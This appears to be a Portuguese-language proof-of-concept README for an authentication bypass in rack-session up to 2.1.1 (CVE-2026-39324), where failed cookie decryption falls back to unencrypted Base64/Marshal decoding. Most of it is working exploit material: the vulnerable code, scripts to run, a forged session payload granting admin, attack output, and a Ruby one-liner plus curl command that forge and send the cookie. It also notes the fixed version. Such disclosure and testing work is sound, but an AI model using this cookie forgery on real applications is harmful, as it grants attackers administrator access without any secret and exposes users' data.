
Prova de conceito de exploit para bypass de autenticação em Rack::Cookie (CVE-2026-39324), demonstrando falsificação de sessão via coder de fallback para obter acesso de administrador.
Falha de descriptografia do Rack::Session::Cookie recorre à aceitação de cookies não criptografados
| Aviso | GHSA-33qg-7wpp-89cq |
| Pacote | rack-session (RubyGems) |
| Afetado | <= 2.1.1 |
| Corrigido | 2.1.2 |
Rack::Session::Cookie com secrets: deve aceitar apenas cookies criptografados. Mas quando a descriptografia falha, ele não rejeita o cookie — ele recorre ao codificador padrão Base64::Marshal.
Um atacante pode enviar um cookie simples Base64(Marshal.dump(...)) e o servidor o aceita como dados de sessão válidos, sem conhecer nenhum segredo.
rack-session <= 2.1.1Rack::Session::Cookie com a opção secrets:user_id, role, etc.) para autorizaçãoNão afetado:
secret: (singular) — usa assinatura HMAC, caminho de código diferente. Apenas secrets: (plural, modo de cookie criptografado) é vulnerável.ActionDispatch::Session::CookieStore, implementação separada.# lib/rack/session/cookie.rb
# O codificador de fallback é sempre criado, independentemente da configuração secrets:
@coder = options[:coder] ||= Base64::Marshal.new
# Tenta descriptografar — todos falham para um cookie não criptografado
encryptors.each do |encryptor|
session_data = encryptor.decrypt(cookie_data) rescue next
break
end
# BUG: não rejeita, recorre ao codificador não criptografado
if !session_data && coder
session_data = coder.decode(cookie_data) # → Marshal.load(Base64.decode64(...))
end
A falha de descriptografia no caminho secrets: deveria ser terminal. Em vez disso, ele passa o cookie para coder.decode(), então cookies simples são carregados como dados de sessão.
poc/
├── Gemfile rack-session 2.1.1
├── server.rb Aplicativo Rack com configuração secrets:
├── verify.rb Verificação de linha de base (comportamento normal)
└── attack.rb Falsificação de sessão (a exploração)
cd poc
bundle install
ruby server.rb & # inicia o servidor vulnerável
ruby verify.rb # confirma o comportamento normal
ruby attack.rb # forja cookie → acesso de administrador
Aplicativo Rack usando secrets: para cookies criptografados. Dois usuários: id=1 (regular), id=2 (admin). Apenas user_id é armazenado na sessão; a verificação de admin é uma consulta no lado do servidor.
Confirma que o servidor funciona corretamente:
| Solicitação | Esperado |
|---|---|
GET /admin (sem cookie) | 403 |
POST /login?id=1 | 200, cookie criptografado |
GET /admin (cookie do usuário id=1) | 403 |
Forja um cookie de sessão sem nenhum segredo.
1) Forjar cookie:
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie = Base64.strict_encode64(Marshal.dump(payload))
2) Fluxo no lado do servidor ao receber o cookie forjado:
encryptor #1 decrypt → HMAC inválido
encryptor #2 decrypt → HMAC inválido
fallback → coder.decode() → Marshal.load → sessão do atacante aceita
→ session["user_id"] = 2 → usuário admin resolvido → 200 OK
$ ruby attack.rb
--- CVE-2026-39324: Falsificação de Sessão ---
Alvo: http://127.0.0.1:9416
Payload: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH
Erro do criptografador de cookie de sessão: HMAC é inválido ← encryptor #1 falhou
Erro do criptografador de cookie de sessão: HMAC é inválido ← encryptor #2 falhou, mas o cookie não foi rejeitado
Status: 200
Corpo: {"status" => "ok", "message" => "painel de administrador", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}
[!] VULNERÁVEL — user_id=2 forjado aceito, acesso de administrador concedido.
Ambas as verificações HMAC falham, mas o cookie não é rejeitado — o codificador de fallback o aceita e o atacante obtém acesso de admin.
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH
curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'
rack-session para >= 2.1.2